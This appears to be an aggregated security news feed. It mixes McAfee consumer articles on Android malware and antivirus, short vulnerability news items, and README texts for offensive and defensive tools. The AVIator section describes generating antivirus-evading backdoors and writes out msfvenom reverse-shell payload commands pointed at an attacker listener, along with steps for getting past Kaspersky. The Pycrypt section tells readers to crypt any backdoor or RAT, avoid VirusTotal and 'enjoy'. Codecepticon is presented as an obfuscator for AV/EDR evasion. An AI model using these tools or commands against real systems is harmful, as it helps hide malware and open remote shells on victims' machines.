You might spot the signs rather quickly. Sometimes, you might not. Some malware can make your phone run poorly, which may indicate a technical issue, yet it can also be a symptom of a hacked phone. Others work quietly in the background without you knowing it. Either way, both cases provide good reasons to run regular scans on your phone. 

Let’s look at some possible signs: 

Sluggish performance, battery drain, and a hot phone  

Malware has a way of taking up resources and eating up battery life as it furiously does its work in the background. For example, adware or clicker malware can hijack your phone and tap the central processing unit to run the complex calculations needed to mine cryptocurrencies like bitcoin, thus putting high stress on your device. In a way, it’s like having a second person using your phone at the same time as you are. This can make your phone hot to the touch, like it’s been sitting in the sun, because the stress malware puts on your phone could cause it to overheat. 

Popup ads suddenly appear on your phone.  

Adware is annoying as it sounds, and potentially even more malicious in nature. If popup ads suddenly pepper your phone, it may be malware that distributes ads without your consent, which can generate revenue for rogue developers (they can get paid per view and per click). Worse yet, adware can also collect personal information and browsing history from your phone, which bad actors can then sell—a major invasion of your privacy.    

Mysterious apps, calls, calendar events or texts crop up in your history.  

A potential telltale sign that your phone has been compromised is the appearance of new apps that you didn’t download, along with spikes in data usage that you can’t account for. Likewise, if you see calls in your phone’s history that you didn’t make, that’s a warning as well.  

You run out of data or see unknown charges appear on your bill.  

Like an overdraft statement or seeing a suspicious charge your bank statement, this is a possible sign of malware installed on your device and is using it to perform subscriptions scam or premium SMS messages to unsolicited services. 

How to avoid malware and viruses on your Android phone 

Broadly, you can take two big steps toward keeping you and your phone safer from attack. The first is to keep a critical eye open as you use your phone. Malware authors rely on us to trust what we see a little too quickly, such as when it comes time to download that new app or tap on a link in a phishing email that looks legitimate, yet most certainly isn’t upon closer inspection. Slow down and scrutinize what you see. If something seems fishy, don’t tap or interact with it. 

The second big step is to use online protection software on your Android phone. In addition to providing strong antivirus protection and removal, it has further features that protect you against identity theft, online scams, and other mobile threats—including credit card and bank fraud, malicious texts, sketchy links, and bogus QR codes.  

With that, here are a few more steps you can take: 

  • Update your phone’s operating system. Along with installing security software, keeping your phone’s operating system up to date can greatly improve your security. Updates can fix vulnerabilities that hackers rely on to pull off their malware-based attacks. It’s another tried and true method of keeping yourself safe—and for keeping your phone running great too. 
  • Avoid third-party app stores. As mentioned above, Google Play has measures in place to review and vet apps to help ensure that they are safe and secure. Third-party sites may very well not, and they may intentionally host malicious apps as part of a front. Further, Google is quick to remove malicious apps from their store once discovered, making shopping there safer still. 
  • Review apps carefully. Check out the developer—have they published several other apps with many downloads and good reviews? A legit app typically has quite a few reviews, whereas malicious apps may have only a handful of (phony) five-star reviews. Lastly, look for typos and poor grammar in both the app description and screenshots. They could be a sign that a hacker slapped the app together and quickly deployed it. 
  • Go with a strong recommendation. Yet better than combing through user reviews yourself is getting a recommendation from a trusted source, like a well-known publication or from app store editors themselves. In this case, much of the vetting work has been done for you by an established reviewer. A quick online search like “best fitness apps” or “best apps for travelers” should turn up articles from legitimate sites that can suggest good options and describe them in detail before you download. 
  • Keep an eye on app permissions. Another way hackers weasel their way into your device is by getting permissions to access things like your location, contacts, and photos—and they’ll use malicious apps to do it. If an app asks for way more than you bargained for, like a simple game wanting access to your camera or microphone, it may be a scam. Delete the app.  

Stay on guard against mobile malware 

Scammers have put Android phones in their crosshairs. And for some time now. While phishing emails and smishing texts with sketchy links persists as avenues of attack, a popular form of attack comes by way of malicious app downloads. One reason why is that malicious apps disguise themselves so well, as a utility or game you really want on your phone. You’re more apt to tap “Install” when you’re actively shopping for an app than to tap on a link in an unsolicited email or text. 

Yet as with so many of today’s online attacks, a combination of good sense and strong online protection software can prevent viruses and malware from ending up on your phone. Slowing down and putting preventative measures in place goes a long way toward keeping what’s arguably your most important device far more secure. 

The post How to Remove Viruses from Your Android Phone appeared first on McAfee Blog.

McAfee Awarded Best Protection by the Labs at AV-TEST

By: McAfee

Each year the independent labs at AV-TEST announce their best products in IT security, and McAfee has come out on top with AV-TEST’s award for “Best Protection.”  

McAfee received the award across a field of 20 different products assessed by AV-TEST, which included evaluation across three key categories: 

  • Protection from malware. 
  • Performance speed. 
  • User-friendliness of the app. 

Maik Morgenstern, CEO of AV-TEST, said: “The test category of protection is an elite discipline in the lab of AV-TEST. That is why we are particularly pleased that we were able to confer such an important and coveted award on McAfee. The consumer user product Total Protection demonstrated with perfect detection in all lab tests that it earned the AV-TEST Best Protection 2022 Award for Consumer Users.” 

Their labs utilize thousands of rigorous real-world tests that determine how well online protection performs against known, new, and emerging threats—such as previously unknown zero-day malware, drive-by attacks, malicious downloads from websites, attacks via infected emails, ransomware, and many more.  

“Recognition from AV-TEST is an honor,” says Chief Technology Officer, Steve Grobman. “Their reputation for analysis and quality assurance stands tall and further reinforces our leadership in online protection. Grobman also continued to say, “With the internet now an integral part of our daily lives, cybercriminals have stepped in to take advantage of that reliance. As ever, we’re committed to staying one step ahead of them so that people can confidently enjoy their lives online.” 

Get a free 30-day trial of McAfee Total Protection, which includes McAfee’s award-winning anti-malware technology plus identity monitoring, Secure VPN, and safe browsing for all-in-one online protection. 

The post McAfee Awarded Best Protection by the Labs at AV-TEST appeared first on McAfee Blog.

Critical RCE Vulnerability Discovered in ClamAV Open Source Antivirus Software

Cisco has rolled out security updates to address a critical flaw reported in the ClamAV open source antivirus engine that could lead to remote code execution on susceptible devices. Tracked as CVE-2023-20032 (CVSS score: 9.8), the issue relates to a case of remote code execution residing in the HFS+ file parser component. The flaw affects versions 1.0.0 and earlier, 0.105.1 and earlier, and

The Big Difference Between Online Protection Software and Antivirus

By: McAfee

Authored by Dennis Pang 

Online protection software. Antivirus. The two words get used interchangeably often enough. But sure enough, they’re different. And yet directly related when you take a closer look. 

The term “antivirus” has been with us for decades now, dating back to the first software that was designed to prevent computers from getting malware—malicious code, like viruses, that would lock up computers, scramble data, or otherwise damage computers and the data on them. Prime examples of these early types of malware include 1999’s “Melissa” virus spreads by infected email attachments and the even more devastating “ILOVEYOU” virus that incurred billions in damages worldwide. 

There’s a good reason why people default to the word “antivirus” so easily. Viruses have been on our collective minds for some time. And computer purchases have often been accompanied by the question, “Do you have antivirus for your computer?” By and large, the notion of antivirus has become pretty much engrained. 

Yet look ahead to today and you can see how dramatically things have changed since those early days. We still need antivirus, that’s for sure. But it takes far more than that to live life safely online right now. And that’s where online protection software comes in. 

What is online protection software? 

Online protection software protects you. It includes antivirus, yet it further protects your identity and privacy in addition to your devices.  

The way we use our computers, tablets, and phones nowadays shows the reason why we need such broad protection. We conduct so much of our lives online. We bank, we shop, we plan our finance online. We also run portions of our homes with smart devices and smart speakers. Increasingly, we track our health and wellness with connected devices too—like workouts on our phone and biometrics with consumer-grade and even medical-grade devices.  

All of this creates data. Data about who we are, what we’re doing, when we’re doing it, how often, and where. That’s precious information. Private information. Personal information. And understandably, that needs to be protected.  

Put simply, today’s threats have evolved. While viruses and malware remain a problem, today’s bad actors are out for the bigger games. Like stealing personal and financial info for identity theft. Moreover, organizations large and small collect data from your devices and the things you do on them, personal data that many share and sell for profit. Some of this data collection gets quite exacting, compiled from a broad range of public sources that can include records like bankruptcies, real estate sales, and birth records—plus private sources that can further include your shopping habits, the people you chat with, and what your daily travels look like based on location information captured from your smartphone.  

If you find yourself surprised by this, you’re not alone. Tremendous volumes of data collection activity occur without people’s knowledge or consent. 

Now as to why anyone would want any of that kind of data about you, consider the multi-billion-dollar industry of online data brokers. They compile thousands of data points from millions of people and put these vats of data up for sale to anyone who’ll buy them. That could be advertisers, potential employers, private investigators, and background checkers. And it could be bad actors as well who could use your own data to spam, harass, impersonate, or otherwise harm you. 

Today’s online protection software protects you from today’s threats 

Once, so many of these intrusions on our privacy and identity were difficult to spot, let alone prevent. For example, your personal info gets caught up in a data breach and winds up posted for sale on the dark web. How are you to know that before it’s too late and thief racks up umpteen charges on your debit card? Also, with dozens and dozens of data brokers out there, how do you track down which ones have information posted about you and then request to have it taken down? And what if online identity theft happens to you and you’re faced with the time and dollar costs it involves to set things right? 

So just as online threats have evolved, so has online protection software. We go about so much of our day online, and online protection like our own McAfee+ helps you do it more privately and more safely. It’s quite comprehensive, and the various plans for McAfee+ include: 

  • Personal Data Cleanup reveals which high-risk data brokers and people search sites are collecting and selling your personal information and requests the removal of the information, confirms completion, and conducts ongoing scans as data is always being collected.     
  • Unlimited Secure VPN that automatically connects to public Wi-Fi to protect online privacy and safeguard personal data while online banking, shopping, or browsing.     
  • $1M Identity Theft and Stolen Funds Coverage to reimburse lost funds or expenses in restoring the customer’s identity, including losses to 401(k) accounts.    
  • Ransomware Coverage to reimburse up to $25,000 for losses and ransom fees.    
  • Licensed Restoration Experts who can take necessary actions to repair identity and credit issues, including assistance to assist with the identity fraud of a deceased family member.     
  • Credit Monitoring and Alerts keep an eye on changes to your credit score, report, and accounts with timely notifications and guidance so you can take action to tackle identity theft.  
  • Credit Score and Report to help you stay on top of daily changes to your credit score and report, from a single location.    
  • Credit Lock reduces the chance of becoming a victim of identity theft by allowing you to quickly lock and unlock your credit, which can help prevent unauthorized opening of accounts.     
  • Security Freeze prevents unauthorized access to existing accounts or new ones being set up in your name with a credit, bank, or utility freeze.    
  • Identity Monitoring for up to 60 unique pieces of personal information on the dark web with timely alerts up to 10 months sooner than competitive products.    

For certain, protections like these remain a primary focus of ours, because they protect you. And that’s who thieves and bad actors are really after—you, your information, your accounts, and even your identity. Expect us to continue to roll out more protections that look after you in this way and more. 

Antivirus, a part of your comprehensive online protection plan 

So, while antivirus and online protection software are different, they work together. Antivirus provides strong device security, which complements the additional privacy and identity features included with online protection. That reflects how times have changed. Once it was enough to protect our devices from viruses and malware. Now we have to protect ourselves as well. Antivirus alone won’t do it, but antivirus as part of online protection will. 

The post The Big Difference Between Online Protection Software and Antivirus appeared first on McAfee Blog.

AVIator - Antivirus Evasion Project


AviAtor Ported to NETCore 5 with an updated UI


AV|Ator

About://name

AV: AntiVirus

Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)

About://purpose

AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:

  • It uses AES encryption in order to encrypt a given shellcode
  • Generates an executable file which contains the encrypted payload
  • The shellcode is decrypted and injected to the target system using various injection techniques

[https://attack.mitre.org/techniques/T1055/]:

  1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.

  2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.


Usage

The application has a form which consists of three main inputs (See screenshot bellow):

  1. A text containing the encryption key used to encrypt the shellcode
  2. A text containing the IV used for AES encryption
  3. A text containing the shellcode

Important note: The shellcode should be provided as a C# byte array.

The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).

After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.

RTLO option

In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"

Beware of the fact that some AVs alert the spoof by its own as a malware.

Set custom icon

I guess you all know what it is :)

Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)

Getting a shell in a windows 10 machine running fully updated kaspersky AV

Target Machine: Windows 10 x64

  1. Create the payload using msfvenom

    msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

  2. Use AVIator with the following settings

    Target OS architecture: x64

    Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

    Target procedure: explorer (leave the default)

  3. Set the listener on the attacker machine

  4. Run the generated exe on the victim machine

Installation

Windows:

Either compile the project or download the allready compiled executable from the following folder:

https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries

Linux:

Install Mono according to your linux distribution, download and run the binaries

e.g. in kali:

   root@kali# apt install mono-devel 

root@kali# mono aviator.exe

Credits

To Damon Mohammadbagher for the encryption procedure

Disclaimer

I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.



Russian Turla Hackers Hijack Decade-Old Malware Infrastructure to Deploy New Backdoors

The Russian cyberespionage group known as Turla has been observed piggybacking on attack infrastructure used by a decade-old malware to deliver its own reconnaissance and backdoor tools to targets in Ukraine. Google-owned Mandiant, which is tracking the operation under the uncategorized cluster moniker UNC4210, said the hijacked servers correspond to a variant of a commodity malware called 

Subparse - Modular Malware Analysis Artifact Collection And Correlation Framework


Subparse, is a modular framework developed by Josh Strochein, Aaron Baker, and Odin Bernstein. The framework is designed to parse and index malware files and present the information found during the parsing in a searchable web-viewer. The framework is modular, making use of a core parsing engine, parsing modules, and a variety of enrichers that add additional information to the malware indices. The main input values for the framework are directories of malware files, which the core parsing engine or a user-specified parsing engine parses before adding additional information from any user-specified enrichment engine all before indexing the information parsed into an elasticsearch index. The information gathered can then be searched and viewed via a web-viewer, which also allows for filtering on any value gathered from any file. There are currently 3 parsing engine, the default parsing modules (ELFParser, OLEParser and PEParser), and 4 enrichment modules (ABUSEEnricher, C APEEnricher, STRINGEnricher and YARAEnricher).

 

Getting Started

Software Requirements

To get started using Subparse there are a few requrired/recommened programs that need to be installed and setup before trying to work with our software.

Software Status Link
Docker Required Installation Guide
Python3.8.1 Required Installation Guide
Pyenv Recommended Installation Guide

Additional Requirements

After getting the required/recommended software installed to your system there are a few other steps that need to be taken to get Subparse installed.


Python Requirements
Python requires some other packages to be installed that Subparse is dependent on for its processes. To get the Python set up completed navigate to the location of your Subparse installation and go to the *parser* folder. The following commands that you will need to use to install the Python requirements is:
sudo get apt install build-essential
pip3 install -r ./requirements.txt

Docker Requirements
Since Subparse uses Docker for its backend and web interface, the set up of the Docker containers needs to be completed before being able to use the program. To do this navigate to the root directory of the Subparse installation location, and use the following command to set up the docker instances:
docker-compose up

Note: This might take a little time due to downloading the images and setting up the containers that will be needed by Subparse.

 

Installation steps


Usage

Command Line Options

Command line options that are available for subparse/parser/subparse.py:

Argument Alternative Required Description
-h --help No Shows help menu
-d SAMPLES_DIR --directory SAMPLES_DIR Yes Directory of samples to parse
-e ENRICHER_MODULES --enrichers ENRICHER_MODULES No Enricher modules to use for additional parsing
-r --reset No Reset/delete all data in the configured Elasticsearch cluster
-v --verbose No Display verbose commandline output
-s --service-mode No Enters service mode allowing for mode samples to be added to the SAMPLES_DIR while processing

Viewing Results

To view the results from Subparse's parsers, navigate to localhost:8080. If you are having trouble viewing the site, make sure that you have the container started up in Docker and that there is not another process running on port 8080 that could cause the site to not be available.

 

General Information Collected

Before any parser is executed general information is collected about the sample regardless of the underlying file type. This information includes:

  • MD5 hash of the sample
  • SHA256 hash of the sample
  • Sample name
  • Sample size
  • Extension of sample
  • Derived extension of sample

Parser Modules

Parsers are ONLY executed on samples that match the file type. For example, PE files will by default have the PEParser executed against them due to the file type corresponding with those the PEParser is able to examine.

Default Modules


ELFParser
This is the default parsing module that will be executed against ELF files. Information that is collected:
  • General Information
  • Program Headers
  • Section Headers
  • Notes
  • Architecture Specific Data
  • Version Information
  • Arm Unwind Information
  • Relocation Data
  • Dynamic Tags

OLEParser
This is the default parsing module that will be executed against OLE and RTF formatted files, this uses the OLETools package to obtain data. The information that is collected:
  • Meta Data
  • MRaptor
  • RTF
  • Times
  • Indicators
  • VBA / VBA Macros
  • OLE Objects

PEParser
This is the default parsing module that will be executed against PE files that match or include the file types: PE32 and MS-Dos. Information that is collected:
  • Section code and count
  • Entry point
  • Image base
  • Signature
  • Imports
  • Exports

 

Enricher Modules

These modules are optional modules that will ONLY get executed if specified via the -e | --enrichers flag on the command line.

Default Modules


ABUSEEnricher
This enrichers uses the [Abuse.ch](https://abuse.ch/) API and [Malware Bazaar](https://bazaar.abuse.ch) to collect more information about the sample(s) subparse is analyzing, the information is then aggregated and stored in the Elastic database.
CAPEEnricher
This enrichers is used to communicate with a CAPEv2 Sandbox instance, to collect more information about the sample(s) through dynamic analysis, the information is then aggregated and stored in the Elastic database utilizing the Kafka Messaging Service for background processing.
STRINGEnricher
This enricher is a smart string enricher, that will parse the sample for potentially interesting strings. The categories of strings that this enricher looks for include: Audio, Images, Executable Files, Code Calls, Compressed Files, Work (Office Docs.), IP Addresses, IP Address + Port, Website URLs, Command Line Arguments.
YARAEnricher
This ericher uses a pre-compiled yara file located at: parser/src/enrichers/yara_rules. This pre-compiled file includes rules from VirusTotal and YaraRulesProject

 

Developing Custom Parsers & Enrichers

Subparse's web view was built using Bootstrap for its CSS, this allows for any built in Bootstrap CSS to be used when developing your own custom Parser/Enricher Vue.js files. We have also provided an example for each to help get started and have also implemented a few custom widgets to ease the process of development and to promote standardization in the way information is being displayed. All Vue.js files are used for dynamically displaying information from the custom Parser/Enricher and are used as templates for the data.

Note: Naming conventions with both class and file names must be strictly adheared to, this is the first thing that should be checked if you run into issues now getting your custom Parser/Enricher to be executed. The naming convention of your Parser/Enricher must use the same name across all of the files and class names.



Logging

The logger object is a singleton implementation of the default Python logger. For indepth usage please reference the Offical Doc. For Subparse the only logging methods that we recommend using are the logging levels for output. These are:

  • debug
  • warning
  • error
  • critical
  • exception
  • log
  • info


ACKNOWLEDGEMENTS

  • This research and all the co-authors have been supported by NSA Grant H98230-20-1-0326.


Codecepticon - .NET Application That Allows You To Obfuscate C#, VBA/VB6 (Macros), And PowerShell Source Code


Codecepticon is a .NET application that allows you to obfuscate C#, VBA/VB6 (macros), and PowerShell source code, and is developed for offensive security engagements such as Red/Purple Teams. What separates Codecepticon from other obfuscators is that it targets the source code rather than the compiled executables, and was developed specifically for AV/EDR evasion.

Codecepticon allows you to obfuscate and rewrite code, but also provides features such as rewriting the command line as well.


Read This First

! Before we begin !

  • This documentation is on how to install and use Codecepticon only. Compilation, usage, and support for tools like Rubeus and SharpHound will not be provided. Refer to each project's repo separately for more information.

  • Codecepticon is actively developed/tested in VS2022, but it should work in VS2019 as well. Any tickets/issues created for VS2019 and below, will not be investigated unless the issue is reproducible in VS2022. So please use the latest and greatest VS2022.

  • The following packages MUST be v3.9.0, as newer versions have the following issue which is still open: dotnet/roslyn#58463

    • Microsoft.CodeAnalysis.CSharp.Workspaces
    • Microsoft.CodeAnalysis.Workspaces.MSBuild

    Codecepticon checks the version of these packages on runtime and will inform you if the version is different to v3.9.0.

  • It cannot be stressed this enough: always test your obfuscated code locally first.

Prerequisites

Visual Studio Pro/Community 2022

Roslyn Compiler

Open and Compile

Open Codecepticon, wait until all NuGet packages are downloaded and then build the solution.

Using Codecepticon

There are two ways to use Codecepticon, either by putting all arguments in the command line or by passing a single XML configuration file. Due to the high level of supported customisations, It's not recommended manually going through --help output to try and figure out which parameters to use and how. Use CommandLineGenerator.html and generate your command quickly:

The command generator's output format can be either Console or XML, depending what you prefer. Console commands can be executed as:

Codecepticon.exe --action obfuscate --module csharp --verbose ...etc

While when using an XML config file, as:

Codecepticon.exe --config C:\Your\Path\To\The\File.xml

If you want to deep dive into Codecepticon's functionality, check out this document.

For tips you can use, check out this document.

C#

Obfuscating a C# project is simple, simply select the solution you wish to target. Note that a backup of the solution itself will not be taken, and the current one will be the one that will be obfuscated. Make sure that you can independently compile the target project before trying to run Codecepticon against it.

VBA/VB6

The VBA obfuscation works against source code itself rather than a Microsoft Office document. This means that you cannot pass a doc(x) or xls(x) file to Codecepticon. It will have to be the source code of the module itself (press Alt-F11 and copy the code from there).

PowerShell

Due to the complexity of PowerShell scripts, along with the freedom it provides in how to write scripts it is challenging to cover all edge cases and ensure that the obfuscated result will be fully functional. Although it's expected for Codecepticon to work fine against simple scripts/functionality, running it against complex ones such as PowerView will not work - this is a work in progress.

Obfuscating Command Line Arguments

After obfuscating an application or a script, it is very likely that the command line arguments have also been renamed. The solution to this is to use the HTML mapping file to find what the new names are. For example, let's convert the following command line:

SharpHound.exe --CollectionMethods DCOnly --OutputDirectory C:\temp\

By searching through the HTML mapping file for each argument, we get:

And by replacing all strings the result is:

ObfuscatedSharpHound.exe --AphylesPiansAsp TurthsTance --AnineWondon C:\temp\

However, some values may exist in more than one category:

Therefore it is critical to always test your result in a local environment first.

FAQ

Why isn't there a compiled version under Releases that I can download?

The compiled output includes a lot of dependency DLLs, which due to licensing requirements we can't re-distribute without written consent.

Does Codecepticon only work for C# projects that already have a supported profile?

No, Codecepticon should work with everything. The profiles are just a bit of extra tweaks that are done to the target project in order to make it more reliable and easier to work with.

But as all code is unique, there will be instances where obfuscating a project will end up with an error or two that won't allow it to be compiled or executed. In this case a new profile may be in order - please raise a new issue if this is the case.

Same principle applies to PowerShell/VBA code - although those currently have no profiles that come with Codecepticon, it's an easy task to add if some are needed.

Can I contribute?

For reporting bugs and suggesting new features, please create an issue.

For submitting pull requests, please see the Contributions section.

Troubleshooting

I'm using Codecepticon against a C# project, it runs, but afterwards I can't compile the target project.

Before running Codecepticon make sure you can compile a clean version of the target project. Very often when this issue appears, it's due to missing dependencies for the target solution rather than Codecepticon. But if it still doesn't compile:

  • Is it a public project? Create an issue and paste the link with as much detail as possible. If the tool is part of SharpCollection, even better.
  • Is it a private project? In the spirit of improving Codecepticon we'll try to provide as much support as possible via screenshots and error/debug messages. But we will not be accessing/running any clean/obfuscated code via private repos etc.

Same as above, but it's a PowerShell/VBA script - can you help?

I will do my best, but as PowerShell scripts can be VERY complex and the PSParser isn't as advanced as Roslyn for C#, no promises can be made. Same applies for VBA/VB6.

I keep getting: "Method not found: 'System.Collections.Immutable.ImmutableArray"

You may at some point encounter the following error:

Still trying to get to the bottom of this one, a quick fix is to uninstall and reinstall the System.Collections.Immutable package, from the NuGet Package Manager.

Contributions

Whether it's a typo, a bug, or a new feature, Codecepticon is very open to contributions as long as we agree on the following:

  • You are OK with the MIT license of this project.
  • Before creating a pull request, create an issue so it could be discussed before doing any work as internal development is not tracked via the public GitHub repository. Otherwise you risk having a pull request rejected if for example we are already working on the same/similar feature, or for any other reason.

References / Credits



Researchers Demonstrate How EDR and Antivirus Can Be Weaponized Against Users

High-severity security vulnerabilities have been disclosed in different endpoint detection and response (EDR) and antivirus (AV) products that could be exploited to turn them into data wipers. "This wiper runs with the permissions of an unprivileged user yet has the ability to wipe almost any file on a system, including system files, and make a computer completely unbootable," SafeBreach Labs

The CHRISTMA EXEC network worm – 35 years and counting!

"Uh-oh, this viruses-and-worms scene could turn out quite troublesome." If only we'd been wrong...

xmas-1200-35-wide

Pycrypt - Python Based Crypter That Can Bypass Any Kinds Of Antivirus Products


Python Based Crypter That Can Bypass Any Kinds Of Antivirus Products


Important:

  1. Make Sure your payload file have all the libraries import and it will be a valid payload file

How To Use:

  1. Find Any Python Based Backdoor/RAT on github.
  2. Crypt its payload with pycrypt
  3. Now Convert crypted payload to exe using pyinstaller
  4. Enjoy

Note:

  1. Don't Upload Any Payloads To VirusTotal.com Bcz This tool will not work with Time.
  2. Virustotal Share Signatures With AV Comapnies.
  3. Again Don't be an Idiot!

KleenScan Scanner Result:-

  1. Generated stub.py Result:- https://kleenscan.com/scan_result/39e61c692ee91dd6cd48aca77a8bb220ef27fcc40df75807d4a1f96b4db8df69
  2. Crypter Code Result:- https://kleenscan.com/scan_result/24487da561419105e29cabd5fc66c503ee767719029fae2f9a041b04d6a75d4b

Download Python3:

*:- For Windows: https://www.python.org/ftp/python/3.10.7/python-3.10.7-amd64.exe

*:- For Linux:

  1. sudo apt-get install python3
  2. sudo apt-get install python3-pip

Requriements:-

  1. Make Sure Python3 And Pip Installed
  2. pip install termcolor
  3. pip install requests

How To Run:-

*:- For Windows:-

  1. Make Sure python3 and pip is installed and requriements also installed
  2. python pycrypt.py
  3. Then give the path of your payload file and enjoy

*:- For Linux:-

  1. Make Sure All Requriements is installed.
  2. python3 pycrypt.py
  3. Then enter the path of your payload file and enjoy

Platforms:

  1. Windows
  2. Linux Based Os

How To Install:

  1. git clone https://github.com/pycrypt
  2. cd pycrypt
  3. python3 pycrypt.py

Features:-

  1. FUD Ratio 0/40
  2. Bypass Any EDR's Solutions
  3. Lightweight Crypter
  4. Very Small And Simple Crypter

Warning:-

Use this tool Only for Educational Purpose And I will Not be Responsible For ur cruel act.



What is Antivirus and What Does It Really Protect?

By: McAfee

Authored by Dennis Pang

What is antivirus? That’s a good question. What does it really protect? That’s an even better question. 

Over the years, I’ve come to recognize that different people define antivirus differently. Some see it as way to keep hackers from crashing their computers. Others see it as a comprehensive set of protections. Neither definition is entirely on the money. 

With this blog, I hope to give everyone a clear definition of what antivirus does well, along with what it doesn’t do at all. The fact is that antivirus is just one form of online protection. There are other forms of protection as well, and understanding antivirus’ role in your overall mix of online protection is an important part of staying safer online. 

What is antivirus? 

Antivirus software protects your devices against malware and viruses through a combination of prevention, detection, and removal.  

For years, people have installed antivirus software on their computers. Today, it can also protect your smartphones and tablets as well. In fact, we recommend installing it on those devices as well because they’re connected, just like a computer—and any device that connects to the internet is a potential target for malware and viruses.  

In short, if it’s connected, it must get protected. 

One important distinction about antivirus is its name, a name that first came into use decades ago when viruses first appeared on the scene. (More on that in a bit.) However, antivirus protects you from more than viruses. It protects against malware too. 

Malware is an umbrella term that covers all types of malicious software regardless of its design, intent, or how its delivered. Viruses are a subset of malicious software that infects devices and then replicates itself so that it can infect yet more devices. 

So while we popularly refer to protection software as antivirus, it protects against far more than just viruses. It protects against malware overall. 

Now here’s where some confusion may come in. Some antivirus apps are standalone. They offer malware protection and that’s it. Other antivirus apps are part of comprehensive online protection software, which can include several additional far-reaching features that can protect your privacy and your identity.  

The reason why antivirus gets paired up with other apps for your privacy and identity is because antivirus alone doesn’t offer these kinds of protections. Yet when paired with things like a password manager, credit monitoring, identity theft coverage, and a VPN, to name a few, you can protect your devices—along with your privacy and identity. All the things you need to stay safer online. 

In short, antivirus doesn’t cut it alone. 

With that, let’s take a closer look at what malware and viruses really are—how they evolved, and what they look like today, along with how antivirus protects you against them. 

What was the first computer virus? 

Viruses have a long history. And depending on how you define what a virus is, the first one arguably took root in 1971—more than 50 years ago.  

It was known as Creeper, and rather than being malicious in nature, it was designed to show how a self-replicating program could identify other connected devices on a network, transfer itself to them, and find yet more devices to repeat the process. Later, the same programmer who created a follow-on version of Creeper developed Reaper, a program that could remove the Creeper program. In a way, Reaper could be considered the first piece of antivirus software. 

From there, it wasn’t until the 1980’s that malware started affecting the broader population, a time when computers became more commonplace in businesses and people’s homes.  

At first, malware typically spread by infected floppy disks, much like the “Brain” virus in 1986. While recognized today as the first large-scale computer virus, its authors say they never intended it to work that way. Rather they say they created Brain as an anti-piracy measure to protect their proprietary software from theft. However, Brain got loose. It went beyond their software and affected computers worldwide. Although not malicious or destructive in nature, Brain most certainly put the industry, businesses, and consumers on notice.  

Computer viruses became a thing. 

Another piece of malware that got passed along via floppy disks was the “PC Cyborg” attack that targeted the medical research community in and around 1989. There the malware would lie in wait until the user rebooted their computer for the 90th time. And on that 90th boot, the user was presented with a digital ransom note like the one here: 

Early example of ransomware- Source, Wikipedia
Early example of ransomware- Source, Wikipedia

Along with that note, PC Cyborg encrypted the computer’s files, which would only get unencrypted if the victim paid a fee—making PC Cyborg the first widely recognized form of ransomware. 

Shortly thereafter, the internet started connecting computers, which opened millions of doors for hackers as people went online. Among the most noteworthy was 1999’s “Melissa” virus, which spread by way of infected email attachments and overloaded hundreds of corporate and governmental email servers worldwide.  

It was quickly followed in 2000 by what’s considered the among the most damaging malware to date—ILOVEYOU, which also spread by way of an attachment, this one posing as a love letter. Specifically, it was a self-replicating worm that installed itself on the victim’s computer where it destroyed some information and stole other information, then spread to other computers. One estimate puts the global cost of ILOVEYOU at $10 billion and further speculated that it infected 10% of the world’s internet-connected computers at the time. 

Today’s malware and viruses—even more malicious today 

With the advent of the internet, malware quickly established itself as a sad fact of connected life. Today, McAfee registers an average of 1.1 million new malicious programs and potentially unwanted apps (PUA) each day, which contributes to the millions and millions of malicious programs already in existence.   

Apart from the sheer volume of malware out there today, another thing that distinguishes today’s malware from early malware attacks—they’re created largely for profit. 

We can think of it this way:  

  • Consider all the banking, shopping, and personal business you conduct on your computer, tablet, and smartphone. If a bad actor can hack into your device with malware, it may give them access to your online banking accounts, credit cards, and other financial information. 
  • Further, think of the important files you have stored on your devices. That may include tax returns, financial documentation, or payment information, which hackers can steal using malware—and then use it to commit identity theft or sell it to other bad actors on the dark web. 
  • Finally, consider the digital valuables you have stored on your devices, like photos, personal letters, music, and even games. If a hacker locks them up with a ransomware attack, you might find yourself wondering if you should take the risk of paying the ransom, even though payment is no assurance that you’ll get them back. 

Today’s malware is far more than an annoyance or headache. It can lead to follow-on attacks that target your finances, your identity, your privacy, or a mix of all three. 

How does antivirus keep you safe?  

So with a million or so new threats coming online each day, and millions more out there already, how does antivirus protect you from malware? It blocks, detects, and removes malware. And it does so in a couple of ways: 

  1. It protects you from existing threats based on an extensive list of known threats, which is updated regularly (a good reason to set your software to update automatically rather than manually). 
  2. It protects you from entirely new threats with technologies that can accurately detect those threats. Not to get overly technical about it, this entails a blend of deep learning algorithms and artificial intelligence (AI) that spots new threats identifying sketchy behavior, such as abnormal demands and instructions. In short, the best antivirus today is smart. 

However, as mentioned earlier, antivirus provides only one aspect of online protection today. While it protects your devices and the data that’s on them, your privacy and identity can come under attack as well. So while antivirus alone can protect you from malware, it can’t prevent other forms of online crime like identity theft, phishing attacks designed to steal personal information, or attacks on your accounts, to name a few of the many other types of threats out there. 

Yet comprehensive online protection can. 

Antivirus, an essential part of your overall security mix 

